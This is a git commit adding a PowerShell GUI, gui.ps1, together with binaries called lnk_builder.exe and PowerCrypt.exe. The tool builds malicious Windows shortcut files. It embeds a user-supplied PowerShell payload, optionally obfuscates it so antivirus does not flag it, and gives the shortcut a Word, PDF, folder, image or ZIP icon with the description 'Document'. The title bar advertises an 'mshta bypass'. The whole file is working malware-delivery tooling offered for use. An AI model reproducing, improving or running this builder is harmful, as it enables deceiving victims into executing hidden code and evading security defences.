commit 4de647ae1dc6d25ab60e72d1d184ee751424c353
Author: i2p <i2p@maculab.dev>
Date:   Thu Aug 27 11:22:56 2026 -0600

    initial commit

diff --git a/PowerCrypt.exe b/PowerCrypt.exe
new file mode 100644
index 0000000..13c6795
Binary files /dev/null and b/PowerCrypt.exe differ
diff --git a/gui.ps1 b/gui.ps1
new file mode 100644
index 0000000..2149527
--- /dev/null
+++ b/gui.ps1
@@ -0,0 +1,414 @@
+Add-Type -AssemblyName System.Windows.Forms
+Add-Type -AssemblyName System.Drawing
+
+$exe = Join-Path $PSScriptRoot "lnk_builder.exe"
+
+# ── Theme ────────────────────────────────────────────────────────────────────
+$BG      = [System.Drawing.Color]::FromArgb(18,  18,  24)
+$PANEL   = [System.Drawing.Color]::FromArgb(28,  28,  38)
+$BORDER  = [System.Drawing.Color]::FromArgb(50,  50,  70)
+$ACCENT  = [System.Drawing.Color]::FromArgb(99, 102, 241)
+$ACCENT2 = [System.Drawing.Color]::FromArgb(139, 92, 246)
+$SUCCESS = [System.Drawing.Color]::FromArgb(34, 197, 94)
+$WARN    = [System.Drawing.Color]::FromArgb(251, 191, 36)
+$ERR     = [System.Drawing.Color]::FromArgb(239, 68,  68)
+$FG      = [System.Drawing.Color]::FromArgb(226, 232, 240)
+$FG2     = [System.Drawing.Color]::FromArgb(148, 163, 184)
+$MONO    = New-Object System.Drawing.Font("Consolas", 9)
+$SANS    = New-Object System.Drawing.Font("Segoe UI",  9)
+$SANS_B  = New-Object System.Drawing.Font("Segoe UI",  9,  [System.Drawing.FontStyle]::Bold)
+
+function New-Label([string]$text, [int]$x, [int]$y, [int]$w=200, [int]$h=18) {
+    $l = New-Object System.Windows.Forms.Label
+    $l.Text = $text; $l.Location = [System.Drawing.Point]::new($x,$y)
+    $l.Size = [System.Drawing.Size]::new($w,$h)
+    $l.ForeColor = $FG2; $l.BackColor = [System.Drawing.Color]::Transparent
+    $l.Font = $SANS; return $l
+}
+
+function New-TextBox([int]$x, [int]$y, [int]$w=260, [int]$h=24, [bool]$multi=$false) {
+    $t = New-Object System.Windows.Forms.TextBox
+    $t.Location = [System.Drawing.Point]::new($x,$y)
+    $t.Size = [System.Drawing.Size]::new($w,$h)
+    $t.BackColor = $PANEL; $t.ForeColor = $FG; $t.BorderStyle = "FixedSingle"
+    $t.Font = $SANS
+    if ($multi) { $t.Multiline = $true; $t.ScrollBars = "Vertical"; $t.AcceptsReturn = $true }
+    return $t
+}
+
+function New-Btn([string]$text, [int]$x, [int]$y, [int]$w=90, [int]$h=28) {
+    $b = New-Object System.Windows.Forms.Button
+    $b.Text = $text; $b.Location = [System.Drawing.Point]::new($x,$y)
+    $b.Size = [System.Drawing.Size]::new($w,$h)
+    $b.BackColor = $ACCENT; $b.ForeColor = [System.Drawing.Color]::White
+    $b.FlatStyle = "Flat"; $b.FlatAppearance.BorderSize = 0
+    $b.Font = $SANS_B; $b.Cursor = "Hand"
+    return $b
+}
+
+# ── Form ─────────────────────────────────────────────────────────────────────
+$form = New-Object System.Windows.Forms.Form
+$form.Text = "LNK Builder"
+$form.Size = [System.Drawing.Size]::new(820, 660)
+$form.MinimumSize = $form.Size
+$form.BackColor = $BG
+$form.ForeColor = $FG
+$form.Font = $SANS
+$form.StartPosition = "CenterScreen"
+$form.FormBorderStyle = "FixedSingle"
+$form.MaximizeBox = $false
+
+# ── Title bar ────────────────────────────────────────────────────────────────
+$strip = New-Object System.Windows.Forms.Panel
+$strip.Location = [System.Drawing.Point]::new(0,0)
+$strip.Size = [System.Drawing.Size]::new(820, 48)
+$strip.BackColor = $PANEL
+
+$titleLbl = New-Object System.Windows.Forms.Label
+$titleLbl.Text = "  LNK Builder"
+$titleLbl.Font = New-Object System.Drawing.Font("Segoe UI", 13, [System.Drawing.FontStyle]::Bold)
+$titleLbl.ForeColor = $FG
+$titleLbl.Location = [System.Drawing.Point]::new(6,8)
+$titleLbl.Size = [System.Drawing.Size]::new(300,30)
+$titleLbl.BackColor = [System.Drawing.Color]::Transparent
+
+$subLbl = New-Object System.Windows.Forms.Label
+$subLbl.Text = "mshta bypass  |  PowerCrypt  |  LNK Builder"
+$subLbl.Font = $SANS; $subLbl.ForeColor = $FG2
+$subLbl.Location = [System.Drawing.Point]::new(200,16)
+$subLbl.Size = [System.Drawing.Size]::new(400,18)
+$subLbl.BackColor = [System.Drawing.Color]::Transparent
+
+$strip.Controls.AddRange(@($titleLbl,$subLbl))
+$form.Controls.Add($strip)
+
+# ── Left panel ───────────────────────────────────────────────────────────────
+$left = New-Object System.Windows.Forms.Panel
+$left.Location = [System.Drawing.Point]::new(10,58)
+$left.Size = [System.Drawing.Size]::new(490, 550)
+$left.BackColor = [System.Drawing.Color]::Transparent
+
+# Payload
+$left.Controls.Add((New-Label "PAYLOAD (PowerShell command)" 0 0 300 18))
+$txtPayload = New-TextBox 0 22 490 120 $true
+$txtPayload.Font = $MONO
+$left.Controls.Add($txtPayload)
+
+# Output path
+$left.Controls.Add((New-Label "OUTPUT FILE (.lnk)" 0 152 300 18))
+$txtOutput = New-TextBox 0 172 380 24
+$txtOutput.Text = (Join-Path ([System.Environment]::GetFolderPath("Desktop")) "Payload.lnk")
+$left.Controls.Add($txtOutput)
+$btnBrowseOut = New-Btn "Browse..." 386 172 100 24
+$btnBrowseOut.BackColor = $BORDER
+$left.Controls.Add($btnBrowseOut)
+
+# Icon
+$left.Controls.Add((New-Label "ICON" 0 206 300 18))
+$txtIcon = New-TextBox 0 226 380 24
+$txtIcon.Text = ""
+$left.Controls.Add($txtIcon)
+$btnBrowseIcon = New-Btn "Browse..." 386 226 100 24
+$btnBrowseIcon.BackColor = $BORDER
+$left.Controls.Add($btnBrowseIcon)
+
+# Icon index + Description
+$left.Controls.Add((New-Label "Icon index" 0 260 120 18))
+$nudIcon = New-Object System.Windows.Forms.NumericUpDown
+$nudIcon.Location = [System.Drawing.Point]::new(0,278)
+$nudIcon.Size = [System.Drawing.Size]::new(80,24)
+$nudIcon.Minimum = 0; $nudIcon.Maximum = 300; $nudIcon.Value = 13
+$nudIcon.BackColor = $PANEL; $nudIcon.ForeColor = $FG; $nudIcon.Font = $SANS
+$left.Controls.Add($nudIcon)
+
+$left.Controls.Add((New-Label "DESCRIPTION" 100 260 200 18))
+$txtDesc = New-TextBox 100 278 390 24
+$txtDesc.Text = "Document"
+$left.Controls.Add($txtDesc)
+
+# ── PowerCrypt section ───────────────────────────────────────────────────────
+$pcSep = New-Object System.Windows.Forms.Panel
+$pcSep.Location = [System.Drawing.Point]::new(0,316)
+$pcSep.Size = [System.Drawing.Size]::new(490,1)
+$pcSep.BackColor = $BORDER
+$left.Controls.Add($pcSep)
+
+$chkPowerCrypt = New-Object System.Windows.Forms.CheckBox
+$chkPowerCrypt.Text = "PowerCrypt Obfuscation"
+$chkPowerCrypt.Location = [System.Drawing.Point]::new(0,324)
+$chkPowerCrypt.Size = [System.Drawing.Size]::new(240,22)
+$chkPowerCrypt.ForeColor = $ACCENT2
+$chkPowerCrypt.BackColor = [System.Drawing.Color]::Transparent
+$chkPowerCrypt.Font = $SANS_B
+$left.Controls.Add($chkPowerCrypt)
+
+$pcWarnLbl = New-Object System.Windows.Forms.Label
+$pcWarnLbl.Text = "Note: large payloads may be flagged"
+$pcWarnLbl.Location = [System.Drawing.Point]::new(250,327)
+$pcWarnLbl.Size = [System.Drawing.Size]::new(240,16)
+$pcWarnLbl.ForeColor = $WARN
+$pcWarnLbl.BackColor = [System.Drawing.Color]::Transparent
+$pcWarnLbl.Font = New-Object System.Drawing.Font("Segoe UI", 8)
+$pcWarnLbl.Visible = $false
+$left.Controls.Add($pcWarnLbl)
+
+$lblPcPath = New-Label "PowerCrypt.exe path" 0 354 200 18
+$left.Controls.Add($lblPcPath)
+
+$txtPcPath = New-TextBox 0 374 380 24
+$txtPcPath.Text = Join-Path $PSScriptRoot "PowerCrypt.exe"
+$txtPcPath.ForeColor = $FG2
+$left.Controls.Add($txtPcPath)
+
+$btnBrowsePc = New-Btn "Browse..." 386 374 100 24
+$btnBrowsePc.BackColor = $BORDER
+$left.Controls.Add($btnBrowsePc)
+
+$lblPcPath.ForeColor  = $BORDER
+$txtPcPath.Enabled    = $false
+$btnBrowsePc.Enabled  = $false
+
+$chkPowerCrypt.Add_CheckedChanged({
+    $en = $chkPowerCrypt.Checked
+    $txtPcPath.Enabled    = $en
+    $btnBrowsePc.Enabled  = $en
+    $pcWarnLbl.Visible    = $en
+    $lblPcPath.ForeColor  = if ($en) { $FG2 } else { $BORDER }
+    $txtPcPath.ForeColor  = if ($en) { $FG  } else { $FG2    }
+})
+
+# Buttons
+$btnGen = New-Btn "  BUILD LNK" 0 416 200 36
+$btnGen.Font = New-Object System.Drawing.Font("Segoe UI", 11, [System.Drawing.FontStyle]::Bold)
+$btnGen.BackColor = $ACCENT
+$left.Controls.Add($btnGen)
+
+$btnClear = New-Btn "Clear" 210 416 90 36
+$btnClear.BackColor = $BORDER
+$left.Controls.Add($btnClear)
+
+$form.Controls.Add($left)
+
+# ── Right panel - log ─────────────────────────────────────────────────────────
+$right = New-Object System.Windows.Forms.Panel
+$right.Location = [System.Drawing.Point]::new(514,58)
+$right.Size = [System.Drawing.Size]::new(290,550)
+$right.BackColor = [System.Drawing.Color]::Transparent
+
+$right.Controls.Add((New-Label "OUTPUT / LOG" 0 0 200 18))
+
+$rtbLog = New-Object System.Windows.Forms.RichTextBox
+$rtbLog.Location = [System.Drawing.Point]::new(0,22)
+$rtbLog.Size = [System.Drawing.Size]::new(290,420)
+$rtbLog.BackColor = $PANEL; $rtbLog.ForeColor = $FG
+$rtbLog.Font = $MONO; $rtbLog.ReadOnly = $true
+$rtbLog.BorderStyle = "FixedSingle"; $rtbLog.WordWrap = $false
+$right.Controls.Add($rtbLog)
+
+# Quick icon presets
+$right.Controls.Add((New-Label "QUICK ICON" 0 452 200 18))
+
+$presets = @(
+    @{ Name="Folder"; Idx=3   },
+    @{ Name="Word";   Idx=72  },
+    @{ Name="PDF";    Idx=67  },
+    @{ Name="Image";  Idx=108 },
+    @{ Name="ZIP";    Idx=165 }
+)
+$px = 0
+foreach ($p in $presets) {
+    $pb = New-Object System.Windows.Forms.Button
+    $pb.Text = $p.Name; $pb.Tag = $p.Idx
+    $pb.Location = [System.Drawing.Point]::new($px,472)
+    $pb.Size = [System.Drawing.Size]::new(52,26)
+    $pb.BackColor = $BORDER; $pb.ForeColor = $FG
+    $pb.FlatStyle = "Flat"; $pb.FlatAppearance.BorderSize = 0
+    $pb.Font = New-Object System.Drawing.Font("Segoe UI",8)
+    $pb.Cursor = "Hand"
+    $pb.Add_Click({ $nudIcon.Value = $this.Tag })
+    $right.Controls.Add($pb)
+    $px += 56
+}
+
+$form.Controls.Add($right)
+
+# ── Status bar ───────────────────────────────────────────────────────────────
+$status = New-Object System.Windows.Forms.Panel
+$status.Location = [System.Drawing.Point]::new(0,616)
+$status.Size = [System.Drawing.Size]::new(820,28)
+$status.BackColor = $PANEL
+
+$lblStatus = New-Object System.Windows.Forms.Label
+$lblStatus.Location = [System.Drawing.Point]::new(12,6)
+$lblStatus.Size = [System.Drawing.Size]::new(796,18)
+$lblStatus.Font = $SANS; $lblStatus.BackColor = [System.Drawing.Color]::Transparent
+$lblStatus.ForeColor = $FG2
+$lblStatus.Text = if (Test-Path $exe) { "Ready - $exe" } else { "WARNING: lnk_builder.exe not found: $exe" }
+
+$status.Controls.Add($lblStatus)
+$form.Controls.Add($status)
+
+# ── Log helper ───────────────────────────────────────────────────────────────
+function Write-Log([string]$msg, [System.Drawing.Color]$color) {
+    $rtbLog.SelectionStart = $rtbLog.TextLength
+    $rtbLog.SelectionLength = 0
+    $rtbLog.SelectionColor = $color
+    $rtbLog.AppendText($msg + "`n")
+    $rtbLog.ScrollToCaret()
+}
+
+# ── Browse buttons ────────────────────────────────────────────────────────────
+$btnBrowseOut.Add_Click({
+    $sfd = New-Object System.Windows.Forms.SaveFileDialog
+    $sfd.Filter = "LNK file (*.lnk)|*.lnk"
+    $sfd.FileName = [System.IO.Path]::GetFileName($txtOutput.Text)
+    if ($sfd.ShowDialog() -eq "OK") { $txtOutput.Text = $sfd.FileName }
+})
+
+$btnBrowseIcon.Add_Click({
+    $ofd = New-Object System.Windows.Forms.OpenFileDialog
+    $ofd.Filter = "Icon files (*.ico)|*.ico|All files (*.*)|*.*"
+    $ofd.Title = "Select Icon"
+    if ($ofd.ShowDialog() -eq "OK") {
+        $txtIcon.Text = $ofd.FileName
+        $nudIcon.Value = 0
+    }
+})
+
+$btnBrowsePc.Add_Click({
+    $ofd = New-Object System.Windows.Forms.OpenFileDialog
+    $ofd.Filter = "PowerCrypt (PowerCrypt.exe)|PowerCrypt.exe|EXE (*.exe)|*.exe"
+    if ($ofd.ShowDialog() -eq "OK") { $txtPcPath.Text = $ofd.FileName }
+})
+
+$btnClear.Add_Click({
+    $rtbLog.Clear()
+    $lblStatus.ForeColor = $FG2
+    $lblStatus.Text = "Ready"
+})
+
+# ── Generate ──────────────────────────────────────────────────────────────────
+$btnGen.Add_Click({
+    $rtbLog.Clear()
+
+    if (-not (Test-Path $exe)) {
+        Write-Log "[-] lnk_builder.exe not found: $exe" $ERR
+        $lblStatus.ForeColor = $ERR; $lblStatus.Text = "Error: lnk_builder.exe not found"
+        return
+    }
+
+    $payload = $txtPayload.Text.Trim()
+    if ($payload -eq "") {
+        Write-Log "[!] Payload cannot be empty." $WARN
+        return
+    }
+
+    # ── PowerCrypt obfuscation ───────────────────────────────────────────────
+    $tmpPayloadFile = $null
+    if ($chkPowerCrypt.Checked) {
+        $pcExe = $txtPcPath.Text.Trim()
+        if (-not (Test-Path $pcExe)) {
+            Write-Log "[-] PowerCrypt.exe not found: $pcExe" $ERR
+            Write-Log "    Download: https://github.com/KingKDot/PowerCrypt" $FG2
+            $lblStatus.ForeColor = $ERR; $lblStatus.Text = "Error: PowerCrypt.exe not found"
+            return
+        }
+
+        Write-Log "[*] Running PowerCrypt obf on work" $ACCENT2
+
+        $tmpIn  = [System.IO.Path]::Combine($env:TEMP, "pc_in_$([System.IO.Path]::GetRandomFileName()).ps1")
+        $tmpOut = [System.IO.Path]::Combine($env:TEMP, "pc_out_$([System.IO.Path]::GetRandomFileName()).ps1")
+
+        try {
+            [System.IO.File]::WriteAllText($tmpIn, $payload, [System.Text.Encoding]::UTF8)
+
+            $psi = New-Object System.Diagnostics.ProcessStartInfo
+            $psi.FileName  = $pcExe
+            $psi.Arguments = "`"$tmpIn`" `"$tmpOut`""
+            $psi.RedirectStandardOutput = $true
+            $psi.RedirectStandardError  = $true
+            $psi.UseShellExecute = $false
+            $psi.CreateNoWindow  = $true
+
+            $proc = [System.Diagnostics.Process]::Start($psi)
+            $pcOut = $proc.StandardOutput.ReadToEnd()
+            $pcErr = $proc.StandardError.ReadToEnd()
+            $proc.WaitForExit()
+
+            Remove-Item $tmpIn -ErrorAction SilentlyContinue
+
+            if ($proc.ExitCode -ne 0 -or -not (Test-Path $tmpOut)) {
+                Write-Log "[-] PowerCrypt failed (exit $($proc.ExitCode))" $ERR
+                if ($pcErr) { Write-Log $pcErr $ERR }
+                return
+            }
+
+            $tmpPayloadFile = $tmpOut
+            Write-Log "[+] PowerCrypt done" $SUCCESS
+        } catch {
+            Remove-Item $tmpIn  -ErrorAction SilentlyContinue
+            Remove-Item $tmpOut -ErrorAction SilentlyContinue
+            Write-Log "[-] PowerCrypt error: $_" $ERR
+            return
+        }
+    }
+
+    # ── Build LNK ────────────────────────────────────────────────────────────
+    if ($tmpPayloadFile) {
+        $argList = @("-f", $tmpPayloadFile)
+    } else {
+        $argList = @("-c", $payload)
+    }
+    $argList += @("-o", $txtOutput.Text, "--icon-index", [string]$nudIcon.Value)
+    if ($txtIcon.Text) { $argList += "-i"; $argList += $txtIcon.Text }
+    if ($txtDesc.Text) { $argList += "-d"; $argList += $txtDesc.Text }
+
+    Write-Log "[>] Building LNK..." $FG2
+
+    $psi2 = New-Object System.Diagnostics.ProcessStartInfo
+    $psi2.FileName  = $exe
+    $psi2.Arguments = ($argList | ForEach-Object { if ($_ -match '\s') { """$_""" } else { $_ } }) -join " "
+    $psi2.RedirectStandardOutput = $true
+    $psi2.RedirectStandardError  = $true
+    $psi2.UseShellExecute = $false
+    $psi2.CreateNoWindow  = $true
+
+    $proc2 = [System.Diagnostics.Process]::Start($psi2)
+    $stdout = $proc2.StandardOutput.ReadToEnd()
+    $stderr = $proc2.StandardError.ReadToEnd()
+    $proc2.WaitForExit()
+
+    if ($tmpPayloadFile) { Remove-Item $tmpPayloadFile -ErrorAction SilentlyContinue }
+
+    foreach ($line in ($stdout -split "`n")) {
+        $line = $line.TrimEnd("`r")
+        if     ($line -match "^\[\+\]") { Write-Log $line $SUCCESS }
+        elseif ($line -match "^\[\*\]") { Write-Log $line $ACCENT  }
+        elseif ($line -match "^\[!\]")  { Write-Log $line $WARN    }
+        elseif ($line -match "^\[-\]")  { Write-Log $line $ERR     }
+        elseif ($line -ne "")           { Write-Log $line $FG2     }
+    }
+    foreach ($line in ($stderr -split "`n")) {
+        $line = $line.TrimEnd("`r")
+        if ($line -ne "") { Write-Log $line $ERR }
+    }
+
+    if ($proc2.ExitCode -eq 0) {
+        $size = (Get-Item $txtOutput.Text -ErrorAction SilentlyContinue).Length
+        $lblStatus.ForeColor = $SUCCESS
+        $lblStatus.Text = "Success - $($txtOutput.Text)  ($size bytes)"
+        Write-Log "[OK] LNK ready: $($txtOutput.Text)" $SUCCESS
+    } else {
+        $lblStatus.ForeColor = $ERR
+        $lblStatus.Text = "Error (exit $($proc2.ExitCode))"
+    }
+})
+
+# Ctrl+Enter = Build LNK
+$form.KeyPreview = $true
+$form.Add_KeyDown({
+    if ($_.Control -and $_.KeyCode -eq "Return") { $btnGen.PerformClick() }
+})
+
+$form.Add_Shown({ $txtPayload.Focus() })
+[void]$form.ShowDialog()
diff --git a/lnk_builder.exe b/lnk_builder.exe
new file mode 100644
index 0000000..abbd33d
Binary files /dev/null and b/lnk_builder.exe differ